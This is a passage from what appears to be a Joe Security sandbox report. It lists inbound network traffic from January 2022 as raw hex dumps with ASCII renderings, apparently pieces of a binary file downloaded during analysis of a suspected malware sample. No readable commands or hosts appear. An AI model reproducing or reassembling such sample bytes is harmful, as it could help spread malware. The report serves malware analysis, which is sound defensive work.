fe 31 92 3f be 57 0a b7 f7 a1 63 38 19 af c6 57 62 21 59 2e 64 15 2e 35 88 85 66 be 1e 9b c4 cc a9 7a e7 c2 d586 2d cb 44 ae 36 aa b0 d5 d6 c9 9c af a1 af 78 c3 Data Ascii: D]~HaFu]UcoP)&G?\(s,lTjHMiro60c"Sz+_Sa=gqjRj(y^WFd\$n@xba)x)NZ0MN)zZ;8y&>:1?Wc8Wb!Y.d.5fz-D6x

2022-01-15 19:23:32 UTC 5291 IN Data Raw: 2d 43 e0 95 43 bd 3f 6f 27 a3 99 cc 15 99 9a 90 61 ac 9a 37 5a e7 ad 5b 4f 69 d0 d3 8e e9 d8 01 2f 17 33 96 38 1b 85 ca d1 86 44 ea b7 ac 02 ef 89 8b a4 5f 5d 6c 7b c7 23 58 60 15 3e a2 ad ce fc d8 e2 ee 96 50 27 3b c7 c7 8f 4c 8a f1 d3 fb b5 24 3b e1 59 bf 51 2d ea a2 89 bb 42 73 cd 16 09 1e d2 00 74 63 36 f8 d1 87 ca 37 0e ab e5 ae 3c d7 41 e7 b9 78 fe b8 e2 35 06 57 1c cd b1 52 7f 95 32 66 48 e2 dd ee 27 b3 d0 c4 fe 13 bc e1 00 8e de 55 db a1 d4 74 30 1d 80 bf 24 1d d9 cf 3e bc c3 fe cc 61 00 98 50 3a 9e 40 83 0c 4f 50 98 86 6a 10 66 bf 4d 0b a6 f3 d2 a6 b7 2a 1e 49 53 ed d9 48 ca 67 96 b5 58 86 87 3e 67 e4 ac 57 b3 53 93 06 92 1a 78 ad bd bf b4 2d 52 0a 60 fe 5b 2e a2 29 48 4f 5e 81 91 6c cc 9c d8 6b 3d 4f e6 e2 9a 4e fb a2 3a 7c 99 fc 29 5e bb bf c1 Data Ascii: -CC?o'a7Z[Oi/38D_]l{#X`>P';L$;YQ-Bstc67<Ax5WR2fH'Ut0$>aP:@OPjfM*ISHgX>gWSx-R`[.)HO^lk=ON:|)^

2022-01-15 19:23:32 UTC 5307 IN Data Raw: 6d 05 73 d2 f9 95 65 d5 06 95 1d 75 78 32 cc 3c cd 02 55 a9 16 be cb 12 33 d7 cc a7 dc 2b b6 0e 5f 28 11 cf 9f 89 bf 54 4c ba f9 11 19 f7 8d fc 2c bf e6 15 f1 a9 33 32 15 0d 5a fc 78 28 78 31 e8 a8 98 2e 6e 94 e0 9c 12 6c b4 5d 12 18 c3 9e 8f 60 6e 2f 83 39 2b 01 bc c2 7b a6 3b cb 1b 1b 15 37 10 32 0f 90 17 5a e5 b2 31 a2 4a 15 b9 45 95 b1 51 29 d3 26 58 a8 3e 5a 03 be 86 2e 3b a3 84 dc a2 10 8b f5 80 1b 88 0c 7b a0 1a 0e 33 77 d6 53 6e 6c 29 6c de 02 2f ef d7 1e eb c5 23 bb 79 07 70 4e a6 0d dc 10 8f 72 82 75 80 3c ae 5e d9 12 04 f2 fb d8 23 19 15 10 19 42 73 35 1a 44 25 62 13 67 c1 59 fe 2c 98 19 c8 ba d1 81 73 64 81 31 eb 57 06 ca 80 de 34 28 88 45 ec 0a 7b 1e 0b 8a 8b e9 76 15 e7 cb d3 92 17 2e 29 09 07 1a f6 43 69 86 4f 0b 95 35 87 76 c9 58 55 b4 c3 Data Ascii: mseux2<U3+_(TL,32Zx(x1.nl]`n/9+{;72Z1JEQ)&X>Z.;{3wSnl)l/#ypNru<^#Bs5D%bgY,sd1W4(E{v.)CiO5vXU

2022-01-15 19:23:32 UTC 5323 IN Data Raw: 2e 4a af 7a 39 f9 5f 2d 2e fb 86 ea 3d c8 9c 5d 6f a3 a8 0f dd 7d 09 61 1e 16 35 1a d6 5a 29 d0 cb 6a 94 b5 af f4 2c f5 2e 4d 59 ed de 20 da 8c 5d 8e 5b 4c ee 7c 48 52 3b a4 05 a0 c0 07 e9 95 58 49 44 1e 1a 5a d7 96 e5 0b 1c 32 28 7c fb 48 2b da 01 63 06 4f 89 a8 0c ca a5 79 54 f6 54 ef 09 c2 61 63 17 02 3d b4 6d 62 0e 6c 05 a9 2b 8b 50 c9 02 05 5e 90 9a a5 18 ea 45 43 22 57 64 c7 61 96 d9 16 f0 e6 3e 67 e0 ff 5f 9f d4 5c 06 22 d6 99 06 df 02 c1 7b 83 8c a3 85 4f a3 dd 38 8e e0 a6 61 af 8d 5a 32 95 31 68 c0 c7 ae d0 0d 1d de 24 96 cc 78 68 9d dd dc 82 3d 34 f0 d8 c2 3c 64 3d ae 8f 46 1c 3a 06 e3 b7 0b 74 cb d4 e9 5b fa 36 67 33 7b 3e 32 c6 cc e4 cd 36 ff 2f 40 64 bd d6 c9 f5 cd 02 bb 00 bd af f4 ba 7a 5d a3 e2 5f 6b 29 06 75 4a 23 48 c2 10 84 8d 12 92 95 Data Ascii: .Jz9_-.=]o}a5Z)j,.MY ][L|HR;XIDZ2(|H+cOyTTac=mbl+P^EC"Wda>g_\"{O8aZ21h$xh=4<d=F:t[6g3{>26/@dz]_k)uJ#H

2022-01-15 19:23:32 UTC 5339 IN Data Raw: 68 bb 35 90 3f 40 87 33 53 8e 6b 63 15 cd 36 9e 98 9e 80 b1 f6 b4 64 c9 2d 79 4c e4 dc 8b 94 34 83 9e 8b 47 c4 c8 01 b9 fc 76 30 8f fd 28 ad ed e4 4f f2 36 4e a8 ef 9d ae d0 11 97 ef 69 28 cd f7 e5 0a c5 83 ec b3 e2 f3 7e 67 43 ae 57 3b 98 e6 33 e1 44 2a 00 e8 3b 1f 4c 95 28 0c 69 5c d3 80 e0 ec cf 15 a0 27 57 2f 71 b3 63 15 54 5f bc f3 0a ec 26 16 37 f8 8e ca e1 5d cd 06 4e 43 11 66 55 36 16 dd 6e c5 b9 56 9e d8 ac 49 6c 86 1e d0 f8 ac a0 6f 81 8f 26 72 c9 93 cf 97 f9 39 e8 3d e0 27 8d 89 d9 c9 09 28 74 b5 f6 4d bc 4c bc df 46 9d 21 c3 e9 93 7c 27 0c 79 78 62 07 e6 3e 71 39 d1 8a b0 a1 fd 98 82 f5 1b 10 61 e7 cd 0c 7e 42 f2 04 30 4b 80 1c bb 86 5b 4c b5 17 d0 6c 93 fa f9 ff 11 f9 f1 f0 49 b0 d8 1a a5 01 a0 aa 30 4c 7e b6 4f 2e 7f cc fe 00 3f 2f 2e 11 d1 Data Ascii: h5?@3Skc6d-yL4Gv0(O6Ni(~gCW;3D*;L(i\'W/qcT_&7]NCfU6nVIlo&r9='(tMLF!|'yxb>q9a~B0K[LlI0L~O.?/.

2022-01-15 19:23:32 UTC 5355 IN Data Raw: 2d 83 7c 8a 8d 4f 63 cd af 3c 4b 97 46 47 16 32 b3 17 07 69 50 e1 ab 36 86 7c da 3b 3f 9d 4e e4 da 44 42 1a 27 63 2d bf 10 7d 28 63 aa ac 88 a6 cd a9 36 57 5d a8 b2 bd 65 fe be bf d8 0b 44 14 ff 4c 65 24 ec 47 d8 86 f1 39 c9 2d 41 4e 73 ee 46 f7 a5 eb 43 32 62 96 d2 25 b8 07 eb 08 c6 17 8b 7c 25 38 83 dc f2 5e b2 3e c8 be d2 96 83 d2 bb a0 0d 20 4d 7c 49 bc d6 f9 09 ea e5 6a ce 11 b0 7a 44 fe e1 b7 c1 8b 36 55 4e 22 19 be 8e d9 bd ba 23 a6 5d ca 82 c0 92 c3 bc 9d 88 99 89 6e 6e 7f 4a 1e 79 e5 6c 16 ea b5 66 1a 8e 1c 18 95 52 ec 2d 87 e9 aa d2 c8 99 a6 31 e3 54 0d 1f cc a9 63 b1 71 ab a1 49 d1 bc 25 f7 d9 ca d2 a5 83 1b 01 60 c6 13 5e 0c 94 f9 86 a2 cb da c7 f1 4b bc 9d 68 b0 71 16 ae fd 62 2f 80 59 91 ae b9 b2 b5 d6 5c 47 c0 46 ac 7a 76 ff 16 73 bd 08 87 Data Ascii: -|Oc<KFG2iP6|;?NDB'c-}(c6W]eDLe$G9-ANsFC2b%|%8^> M|IjzD6UN"#]nnJylfR-1TcqI%`^Khqb/Y\GFzvs

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 65 of 103

2022-01-15 19:23:32 UTC 5371 IN Data Raw: f7 e8 99 45 d1 a2 61 a5 b9 82 14 f4 d3 b1 7b e2 c7 7f 0b b3 7f e3 2d a2 44 7e ed 19 d6 f5 09 68 b0 ef f1 1c fa 68 c1 43 ff c5 6e 20 76 33 3d d4 e1 c4 1c aa 6c 73 91 fb 7f 6c 28 76 d2 8f bb 7a 9a 5c 92 72 39 6e 52 cf 02 9f 00 47 5e 98 28 ad ff 90 d7 bf e6 47 0d eb be 33 a3 09 b8 54 da 00 7f 4f d6 bf 36 33 00 8d 12 ca 56 b3 e0 ec b6 c5 a7 d0 05 fa c5 7f 80 73 09 0f 13 a4 59 a9 98 ff 1d 17 ef 27 da 7d db 59 a4 94 ff cf bc 82 2b 56 63 c4 01 00 bb 3d c4 0b c2 bb 66 78 40 d1 4b 31 0c aa 0b a5 c7 c3 3b 35 a9 ce 0a 26 88 b9 d4 70 f1 ad ef bd eb ea d3 2d f5 0b cb 4b 5b 13 e3 11 ec 87 66 fb be 54 f2 51 8c 32 87 df f9 62 f8 28 fb 2d 49 4b b3 6d 7e 5b af d8 44 97 3f 1e 33 90 7e 32 88 e9 1a c7 97 8f a0 23 8f 32 d6 5b 5e 2b 41 c8 13 39 8a ba 20 14 c2 59 f0 23 47 e2 38 Data Ascii: Ea{-D~hhCn v3=lsl(vz\r9nRG^(G3TO63VsY'}Y+Vc=fx@K1;5&p-K[fTQ2b(-IKm~[D?3~2#2[^+A9 Y#G8

2022-01-15 19:23:32 UTC 5387 IN Data Raw: a4 62 3f 74 26 e2 b4 85 85 2e 2d d8 f0 bd 04 11 bf e7 80 87 e9 be 1d f6 29 f8 82 64 f3 fa ac 38 13 bb 0e 4f f4 27 81 8b c6 82 e4 9c b7 6a 49 be c5 23 33 3d 01 e8 85 3d e2 63 f0 73 2e c1 be bb 3c 0d d2 61 48 08 3b 1f a0 a0 0e fe e7 8b e8 d7 74 b1 56 37 a5 62 56 5f c6 34 36 e2 0e 58 49 f8 ce 63 d5 2e cf f5 5a 4f cb 19 86 c4 f6 65 ad 13 11 fb 89 1e 76 32 20 59 1c 2a f8 cc 52 4c 95 35 a4 56 2e 1c 5c d3 76 4c 33 e4 eb f5 7a 4a c0 85 6e f4 d5 5e a7 d4 b0 21 06 24 41 a7 15 ca 5a b2 42 32 00 1f 0d 8c 43 1a 80 9d c8 d4 a9 90 81 cf 28 c3 e6 e0 20 19 02 13 e2 6b 82 bf bc 3b 93 87 0b d4 61 3d cd 83 94 02 c7 dc 2a ff 8e b9 cf 8b 6d ea fb b5 df cd 47 5b b9 fc 97 5e a3 33 71 25 24 66 07 15 d9 f9 68 48 7e cd cb bd 66 17 bb 7a a4 a7 ca 45 ce b3 3b 4b 82 4d 5c 34 ab a9 cb Data Ascii: b?t&.-)d8O'jI#3==cs.<aH;tV7bV_46XIc.ZOev2 Y*RL5V.\vL3zJn^!$AZB2C( k;a=*mG[^3q%$fhH~fzE;KM\4

2022-01-15 19:23:32 UTC 5403 IN Data Raw: 6a 6b 00 c9 5b 72 a0 66 3d de 37 fc 1e 8c d3 9a bc ce 1e 61 76 92 0b 73 e7 8a 88 b2 87 19 12 8b 04 ab a2 03 89 fb 3b 5a fc 0f 47 b8 bf 89 11 8d b0 16 f6 ce b8 d5 6d f4 dc 38 cb b0 fe cf a2 d1 77 ff cc 62 85 98 0b 18 61 72 80 4a 9d 12 34 ef 8d 40 56 da c3 b5 08 b0 c0 86 73 5b 11 fd 3f b9 b2 7c 63 cc 7a 44 0a 45 b9 fc 46 d4 6e b0 0f 00 3d 8f ea 44 96 d7 12 89 14 9a ae af 46 27 2c 31 66 b8 81 3c 6c 0b 9c ac 1c e3 1d c2 00 f7 f8 6b d0 7a 11 b6 0d 75 0a 35 0e 21 57 eb b8 80 e4 c2 c0 38 77 ec 6d ca 54 a8 94 4b 37 30 eb 83 e1 dd 28 c6 20 22 1e de 17 38 d3 6d 67 03 9e 7d 8d d9 67 44 35 a4 9d 5b 16 df b0 94 a2 3d 4f c8 59 15 97 5f 72 ea 20 1a fc 28 a5 33 07 71 16 b3 ff fe a6 f3 8e ac b1 80 0a 8e 2d 64 6d 9d 40 fd 4f 5c 04 29 61 bc bd 1d 1b 31 f0 03 ae e1 40 ce 60 Data Ascii: jk[rf=7avs;ZGm8wbarJ4@Vs[?|czDEFn=DF',1f<lkzu5!W8wmTK70( "8mg}gD5[=OY_r (3q-dm@O\)a1@`

2022-01-15 19:23:32 UTC 5419 IN Data Raw: 46 e3 15 6e d7 6d 65 c6 4c fb b2 02 b1 3d f3 c6 8e 0d 38 23 6c 64 31 d3 0b e6 3d e9 1b 2b 43 c0 11 69 b1 30 68 bb 75 54 06 83 af 0d 90 cf 80 9b e3 fd 8d 0b de 0f fa 7b 50 d8 72 54 1c c9 95 8b d3 34 13 22 8d d4 e8 2f 5d a7 6e 99 36 02 45 9e 79 02 f3 8f aa d7 9f 48 5c 84 fe 17 23 98 6f 08 ff 30 9a f9 d6 71 17 96 2b 7d 85 fb d1 47 59 d7 63 8d 85 02 18 49 ee 94 21 4e aa 74 65 21 c1 df f7 6a f9 8e d8 93 58 f6 01 20 b7 e4 9d 93 e2 c1 23 2c 42 b8 0b 06 b8 60 22 21 3b 35 de 28 09 91 9c ca 8b de 0d a5 b0 87 c6 0f 69 78 cc 50 9e af f6 76 81 d9 2a c1 97 6d 83 38 61 52 23 b8 35 6b 49 ab 75 63 85 8a cf 18 6a 38 8e 9a 04 7e 64 d9 52 4a 9e 17 27 39 d2 68 c5 0d 34 a3 ff 78 c3 2d c5 7c 7f 8a 48 11 99 75 c4 83 c9 e7 b9 7d 26 55 86 80 c9 3f 4c 0b 8f c2 08 b2 ec 0d a3 64 b1 Data Ascii: FnmeL=8#ld1=+Ci0huT{PrT4"/]n6EyH\#o0q+}GYcI!Nte!jX #,B`"!;5(ixPv*m8aR#5kIucj8~dRJ'9h4x-|Hu}&U?Ld

2022-01-15 19:23:32 UTC 5435 IN Data Raw: 0a d6 00 ed 71 f4 b7 8c 31 89 38 4c 03 58 2a 80 57 6a 02 12 a1 3c 95 73 45 f6 23 34 87 86 8d a3 91 ee 66 5e 5c 9c f7 d6 71 cc 77 f8 f8 44 05 b4 33 a1 e7 b9 83 5e ed ca 25 86 3c 4e 83 b6 a1 84 17 7b fb 9d dd 57 e9 99 dd a5 14 d7 c6 d1 24 4e 42 49 23 8c 5b 19 b2 51 ba a7 d1 89 68 12 6a 95 b7 e1 06 f3 ce 01 f3 2e 29 51 d9 1e 75 22 58 73 7b 16 0c 1e 5a 9a 9e 92 a1 39 0b 29 0e d5 8f 67 96 ed 69 ca c0 1e d9 be d5 bf 66 67 d0 dd a9 ab e2 51 2c 9d 50 5c 5f 64 37 0b 4f 17 62 58 78 f9 e0 b1 16 45 5f eb 25 dd 22 97 d7 22 e9 fd 1f de b7 db 19 ac 7f ea 91 67 b7 ca c4 bd 1f e7 30 03 81 13 79 89 d3 1c 45 ac 15 df ce 08 b5 28 00 15 42 e7 54 68 29 dc 7f 83 a9 13 cc 0d d5 3a 58 7d 89 07 f7 37 1a e6 1e 93 45 66 b0 a0 d0 fc 97 cd d0 40 ac b6 3e 67 9e 60 14 e5 83 2b 6e 4f 05 Data Ascii: q18LX*Wj<sE#4f^\qwD3^%<N{W$NBI#[Qhj.)Qu"Xs{Z9)gifgQ,P\_d7ObXxE_%""g0yE(BTh):X}7Ef@>g`+nO

2022-01-15 19:23:32 UTC 5451 IN Data Raw: 6c 8e b7 a0 b4 ca e8 df 0d dc a0 fa b9 2b 22 b3 b4 d4 1c 12 28 c9 41 68 47 3d 4f 01 77 fd 9e a1 93 3f dd 13 80 e7 05 0f 67 aa 57 05 1e 4f c9 82 92 fe 19 8f 96 2f 37 3e f3 6c e6 ed 9b d8 4f fc 3a a6 d7 49 d3 c3 9a cf 76 af 5e a4 26 2b 4c 55 b5 94 f7 0e fb 22 bc 5e 76 ea 0c 75 0a b3 1e 06 7e 8f 02 5e 42 65 98 84 c3 3d 65 9b fc df 02 b0 22 f3 5a 64 a5 54 bb 17 41 58 01 dd e9 a4 a4 82 8b a3 7e c4 74 6a 2e d3 a4 14 7a ff 61 d8 27 28 17 a4 f8 10 f2 54 89 01 94 99 05 72 1f 65 51 ae 9b 85 0b ef 13 76 83 af 02 f0 b1 81 2e e4 10 1e 33 5f 0d 7d 45 48 b5 ee 58 cd 53 fc 2e 31 41 56 91 c2 a5 15 98 be ee af 07 aa 88 ff 88 5a 7c 1d e3 e9 9c 2d 9b 11 f9 3d 44 a7 85 7c f4 e6 0e 63 47 2d cd f6 8f fa 92 9d b1 2b ff 19 00 97 a8 c8 6d 25 45 a0 46 8e 19 11 44 b5 ba fd fe 0e 04 Data Ascii: l+"(AhG=Ow?gWO/7>lO:Iv^&+LU"^vu~^Be=e"ZdTAX~tj.za'(TreQv.3_}EHXS.1AVZ|-=D|cG-+m%EFD

2022-01-15 19:23:32 UTC 5467 IN Data Raw: 79 a3 38 60 7f 1e da c4 a5 5a 77 b5 71 bd 07 8c 2a 6c 85 23 b5 cb 87 cc 62 ba 5e b6 44 97 25 76 cd 50 6f 9e 62 c7 28 98 b1 ec 2f 09 c9 a4 3f 78 8f a3 8f 1b 7f cd ce 7d ee 44 2a fc af 70 af f7 65 bb ec de 32 4d 6d ed 9d ec 9f b9 06 c2ec 0c 8b 8e e8 6e 48 11 80 46 33 ec 28 4a a5 57 b1 fb 53 19 ad 48 fa 96 ee 72 b4 60 11 23 a3 2b 67 de fe 57 ef 34 74 87 bd 1b 33 8a 0d b9 81 8d 2c 95 6c 43 1d 3b ae eb 63 67 30 5a ba ca b6 d7 46 b9 c0 a4 4f 28 bf fa 3f dd 45 79 cc c9 cf a0 1c da 8a f4 05 ec e5 5e 6a 0c c1 72 34 a2 f0 42 81 14 83 03 d1 b6 06 d1 3d 5a 48 0a 55 1f 2c 53 bf 69 40 c6 c3 39 b3 8b 7e 0e ac 7c d6 10 b8 9f c1 ee b7 90 bd 31 77 37 91 00 d3 78 6f 6d af 71 c8 41 b0 e4 9a 13 b3 25 ef 34 90 3b af bc e3 26 e7 c6 4e 79 59 ee 83 93 41 d8 6e 65 3b 59 c7 cf 73 Data Ascii: y8`Zwq*l#b^D%vPob(/?x}D*pe2MmnHF3(JWSHr`#+gW4t3,lC;cg0ZFO(?Ey^jr4B=ZHU,Si@9~|1w7xomqA%4;&NyYAne;Ys

2022-01-15 19:23:32 UTC 5483 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

2022-01-15 19:23:32 UTC 5499 IN Data Raw: 78 9d 01 00 98 24 04 00 78 9d 01 00 c0 9d 01 00 f8 1a 04 00 dc 9d 01 00 13 9e 01 00 f8 1a 04 00 30 9e 01 00 4b 9e 01 00 58 11 04 00 64 9e 01 00 a1 9e 01 00 bc 24 04 00 a4 9e 01 00 3e a1 01 00 a4 24 04 00 40 a1 01 00 8c a1 01 00 9c 24 04 00 8c a1 01 00 bb a1 01 00 58 11 04 00 c0 a1 01 00 66 a2 01 00 00 1b 04 00 70 a2 01 00 16 a3 01 00 00 1b 04 00 18 a3 01 00 47 a3 01 00 58 11 04 00 48 a3 01 00 7a a3 01 00 58 11 04 00 7c a3 01 00 dd a9 01 00 e0 24 04 00 e8 a9 01 00 6a aa 01 00 f8 21 04 00 6c aa 01 00 25 ab 01 00 08 25 04 00 78 ab 01 00 bf ab 01 00 f8 1a 04 00 c0 ab 01 00 e2 ab 01 00 f8 1a 04 00 e4 ab 01 00 04 ac 01 00 58 11 04 00 04 ac 01 00 24 ac 01 00 58 11 04 00 24 ac 01 00 bf ac 01 00 14 1b 04 00 c0 ac 01 00 36 ad 01 00 14 1b 04 00 40 ad 01 00 d1 c3 01 Data Ascii: x$x0KXd$>$@$XfpGXHzX|$j!l%%xX$X$6@

2022-01-15 19:23:32 UTC 5515 IN Data Raw: 20 aa b9 00 80 2d 89 00 06 2e 89 00 28 aa b9 00 20 2e 89 00 3a 2e 89 00 38 aa b9 00 40 2e 89 00 bb 2e 89 00 40 aa b9 00 c0 2e 89 00 c7 2f 89 00 50 aa b9 00 20 30 89 00 fa 30 89 00 60 aa b9 00 00 31 89 00 21 31 89 00 78 aa b9 00 40 31 89 00 5a 31 89 00 80 aa b9 00 60 31 89 00 0f 32 89 00 88 aa b9 00 10 32 89 00 06 33 89 00 a8 aa b9 00 10 33 89 00 30 33 89 00 b8 aa b9 00 30 33 89 00 7d 33 89 00 c0 aa b9 00 80 33 89 00 dc 33 89 00 cc aa b9 00 e0 33 89 00 26 34 89 00 d8 aa b9 00 30 34 89 00 b8 34 89 00 e4 aa b9 00 c0 34 89 00 2d 35 89 00 f8 aa b9 00 30 35 89 00 5f 35 89 00 04 ab b9 00 80 35 89 00 14 36 89 00 10 ab b9 00 20 36 89 00 99 36 89 00 1c ab b9 00 a0 36 89 00 f0 36 89 00 28 ab b9 00 10 37 89 00 56 37 89 00 38 ab b9 00 60 37 89 00 bd 37 89 00 44 ab b9 Data Ascii: -.( .:.8@..@./P 00`1!1x@1Z1`122330303}3333&40444-505_556 6666(7V78`77D

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 66 of 103

2022-01-15 19:23:32 UTC 5531 IN Data Raw: d0 5a 8e 00 05 5b 8e 00 40 04 ba 00 10 5b 8e 00 fa 61 8e 00 48 04 ba 00 00 62 8e 00 20 62 8e 00 80 04 ba 00 20 62 8e 00 55 62 8e 00 88 04 ba 00 60 62 8e 00 38 69 8e 00 90 04 ba 00 40 69 8e 00 6f 69 8e 00 c8 04 ba 00 70 69 8e 00 19 6b 8e 00 d0 04 ba 00 20 6b 8e 00 3d 6b 8e 00 f8 04 ba 00 40 6b 8e 00 c0 6b 8e 00 00 05 ba 00 c0 6b 8e 00 da 6b 8e 00 20 05 ba 00 e0 6b 8e 00 9c 6d 8e 00 28 05 ba 00 a0 6d 8e 00 ba 6d 8e 00 54 05 ba 00 c0 6d 8e 00 5f 6f 8e 00 5c 05 ba 00 60 6f 8e 00 6a 70 8e 00 88 05 ba 00 70 70 8e 00 48 72 8e 00 94 05 ba 00 50 72 8e 00 3e 74 8e 00 a0 05 ba 00 40 74 8e 00 c3 74 8e 00 ac 05 ba 00 d0 74 8e 00 fc 74 8e 00 b4 05 ba 00 00 75 8e 00 1e 77 8e 00 bc 05 ba 00 20 77 8e 00 ab 77 8e 00 e4 05 ba 00 b0 77 8e 00 83 78 8e 00 ec 05 ba 00 90 78 8e Data Ascii: Z[@[aHb b bUb`b8i@ioipik k=k@kkkk km(mmTm_o\`ojpppHrPr>t@ttttuw wwwxx

2022-01-15 19:23:32 UTC 5547 IN Data Raw: 88 aa 93 00 d4 50 ba 00 90 aa 93 00 b3 aa 93 00 e0 50 ba 00 c0 aa 93 00 aa ac 93 00 e8 50 ba 00 b0 ac 93 00 f1 ac 93 00 10 51 ba 00 00 ad 93 00 b0 be 93 00 18 51 ba 00 b0 be 93 00 e8 c1 93 00 3c 51 ba 00 f0 c1 93 00 6e c2 93 00 60 51 ba 00 70 c2 93 00 aa c2 93 00 68 51 ba 00 b0 c2 93 00 85 c4 93 00 70 51 ba 00 90 c4 93 00 bf c4 93 00 7c 51 ba 00 c0 c4 93 00 8c c8 93 00 84 51 ba 00 90 c8 93 00 48 cd 93 00 b0 51 ba 00 50 cd 93 00 81 ce 93 00 c0 51 ba 00 90 ce 93 00 e6 d0 93 00 cc 51 ba 00 f0 d0 93 00 25 d1 93 00 dc 51 ba 00 30 d1 93 00 b5 d8 93 00 e4 51 ba 00 c0 d8 93 00 41 d9 93 00 0c 52 ba 00 50 d9 93 00 cd d9 93 00 14 52 ba 00 d0 d9 93 00 22 dd 93 00 1c 52 ba 00 30 dd 93 00 9a dd 93 00 24 52 ba 00 a0 dd 93 00 ee df 93 00 2c 52 ba 00 f0 df 93 00 93 e2 93 Data Ascii: PPPQQ<Qn`QphQpQ|QQHQPQQ%Q0QARPR"R0$R,R

2022-01-15 19:23:32 UTC 5563 IN Data Raw: 50 90 ba 00 40 3a 97 00 4d 3b 97 00 58 90 ba 00 50 3b 97 00 78 3b 97 00 60 90 ba 00 80 3b 97 00 03 3d 97 00 68 90 ba 00 10 3d 97 00 1f 3d 97 00 70 90 ba 00 20 3d 97 00 3d 3e 97 00 78 90 ba 00 40 3e 97 00 4f 3e 97 00 98 90 ba 00 50 3e 97 00 d1 3f 97 00 a0 90 ba 00 e0 3f 97 00 c4 40 97 00 c0 90 ba 00 d0 40 97 00 43 41 97 00 c8 90 ba 00 50 41 97 00 71 41 97 00 d0 90 ba 00 80 41 97 00 98 42 97 00 d8 90 ba 00 a0 42 97 00 c1 42 97 00 f8 90 ba 00 d0 42 97 00 69 43 97 00 00 91 ba 00 70 43 97 00 6e 44 97 00 20 91 ba 00 70 44 97 00 c0 44 97 00 28 91 ba 00 c0 44 97 00 46 45 97 00 30 91 ba 00 50 45 97 00 77 46 97 00 38 91 ba 00 80 46 97 00 77 47 97 00 58 91 ba 00 80 47 97 00 cd 47 97 00 60 91 ba 00 d0 47 97 00 1d 48 97 00 68 91 ba 00 20 48 97 00 3f 48 97 00 70 91 ba Data Ascii: P@:M;XP;x;`;=h==p ==>x@>O>P>??@@CAPAqAABBBBiCpCnD pDD(DFE0PEwF8FwGXGG`GHh H?Hp

2022-01-15 19:23:32 UTC 5579 IN Data Raw: e0 fc 99 00 32 fd 99 00 00 d0 ba 00 40 fd 99 00 6b fd 99 00 08 d0 ba 00 70 fd 99 00 9b fd 99 00 10 d0 ba 00 a0 fd 99 00 d9 fd 99 00 18 d0 ba 00 e0 fd 99 00 03 fe 99 00 20 d0 ba 00 10 fe 99 00 ce fe 99 00 28 d0 ba 00 d0 fe 99 00 f7 fe 99 00 30 d0 ba 00 00 ff 99 00 3a ff 99 00 38 d0 ba 00 40 ff 99 00 9c 00 9a 00 40 d0 ba 00 a0 00 9a 00 d5 00 9a 00 48 d0 ba 00 e0 00 9a 00 15 01 9a 00 50 d0 ba 00 20 01 9a 00 43 01 9a 00 58 d0 ba 00 50 01 9a 00 6b 01 9a 00 60 d0 ba 00 70 01 9a 00 8f 01 9a 00 68 d0 ba 00 90 01 9a 00 16 02 9a 00 70 d0 ba 00 20 02 9a 00 9e 02 9a 00 78 d0 ba 00 a0 02 9a 00 1c 03 9a 00 80 d0 ba 00 20 03 9a 00 f2 03 9a 00 88 d0 ba 00 00 04 9a 00 d2 04 9a 00 94 d0 ba 00 e0 04 9a 00 08 06 9a 00 a0 d0 ba 00 10 06 9a 00 33 06 9a 00 ac d0 ba 00 40 06 9a Data Ascii: 2@kp (0:8@@HP CXPk`php x 3@

2022-01-15 19:23:32 UTC 5595 IN Data Raw: 31 aa 9d 00 c0 19 bb 00 40 aa 9d 00 b1 aa 9d 00 c8 19 bb 00 c0 aa 9d 00 31 ab 9d 00 d0 19 bb 00 40 ab 9d 00 b1 ab 9d 00 d8 19 bb 00 c0 ab 9d 00 31 ac 9d 00 e0 19 bb 00 40 ac 9d 00 66 ac 9d 00 e8 19 bb 00 70 ac 9d 00 af ac 9d 00 f0 19 bb 00 b0 ac 9d 00 ef ac 9d 00 f8 19 bb 00 f0 ac 9d 00 5e ad 9d 00 00 1a bb 00 60 ad 9d 00 c1 ad 9d 00 08 1a bb 00 d0 ad 9d 00 57 ae 9d 00 10 1a bb 00 60 ae 9d 00 96 ae 9d 00 18 1a bb 00 a0 ae 9d 00 51 b0 9d 00 20 1a bb 00 60 b0 9d 00 9c b1 9d 00 28 1a bb 00 a0 b1 9d 00 e9 b1 9d 00 34 1a bb 00 f0 b1 9d 00 14 b2 9d 00 3c 1a bb 00 20 b2 9d 00 61 b2 9d 00 44 1a bb 00 70 b2 9d 00 32 b3 9d 00 54 1a bb 00 40 b3 9d 00 71 b4 9d 00 74 1a bb 00 80 b4 9d 00 9f b6 9d 00 94 1a bb 00 a0 b6 9d 00 19 b7 9d 00 c4 1a bb 00 20 b7 9d 00 77 b7 9d Data Ascii: 1@1@1@fp^`W`Q `(4< aDp2T@qt w

